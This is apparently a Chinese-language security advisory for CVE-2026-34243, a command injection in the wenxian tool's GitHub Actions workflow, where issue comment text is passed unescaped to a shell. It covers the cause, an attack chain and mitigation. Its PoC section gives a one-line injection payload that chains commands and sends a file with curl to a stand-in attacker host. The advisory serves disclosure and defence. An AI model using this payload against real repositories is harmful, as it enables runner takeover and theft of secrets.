IPBUF安全漏洞报告
English
CVE-2026-34243 CVSS 9.8 严重

CVE-2026-34243 wenxian GitHub Actions命令注入漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-34243
漏洞类型
命令注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
wenxian

相关标签

命令注入RCEGitHub ActionswenxianCI/CDCVE-2026-34243

漏洞概述

wenxian是一个用于生成BIBTEX文件的工具,其0.3.1及之前版本存在严重安全漏洞。由于GitHub Actions工作流直接将issue评论中的用户输入传递给shell命令执行,攻击者无需认证即可利用此漏洞注入恶意命令,导致在runner主机上执行任意代码,造成严重的数据泄露或系统破坏。

技术细节

该漏洞的根源在于wenxian项目的GitHub Actions工作流配置不当。当用户在Issue下发表评论时,工作流被触发并尝试处理评论内容。然而,代码直接获取了`issue_comment.body`的原始内容,并将其未经任何过滤或安全转义就传递给shell解释器执行。由于GitHub Actions的runner环境通常具有较高的权限,攻击者可以通过构造包含特殊字符(如`$(command)`、`|`、`;`)的评论内容,欺骗shell执行恶意的系统指令。这允许攻击者完全接管CI/CD环境,窃取代码库密钥、部署恶意软件或在runner上执行持久化攻击。

攻击链分析

STEP 1
侦察
攻击者识别使用wenxian工具且启用了易受攻击GitHub Actions工作流的目标仓库。
STEP 2
载荷注入
攻击者在目标仓库的Issue或PR中发表评论,内容包含精心构造的Shell命令注入载荷。
STEP 3
触发执行
GitHub Actions自动触发工作流,读取评论内容并将其作为参数传递给Shell命令。
STEP 4
命令执行
Shell解析注入的元字符,截断原有命令并执行攻击者的恶意代码。
STEP 5
获得控制
攻击者获得GitHub Runner的控制权,可窃取密钥或进一步攻击内部网络。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Malicious payload to be injected into GitHub Issue comment body # The payload uses command substitution to execute arbitrary commands on the runner valid_input; echo "CVE-2026-34243 POC" > /tmp/pwned.txt; curl -d @/tmp/pwned.txt http://attacker-server.com/exfil

影响范围

wenxian <= 0.3.1

防御指南

临时缓解措施
由于目前暂无公开补丁,建议立即禁用该GitHub Actions工作流中由issue_comment触发的功能,或修改工作流配置,仅允许受信任的输入源(如maintainer)触发。审查并严格过滤所有传递给shell命令的用户输入。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表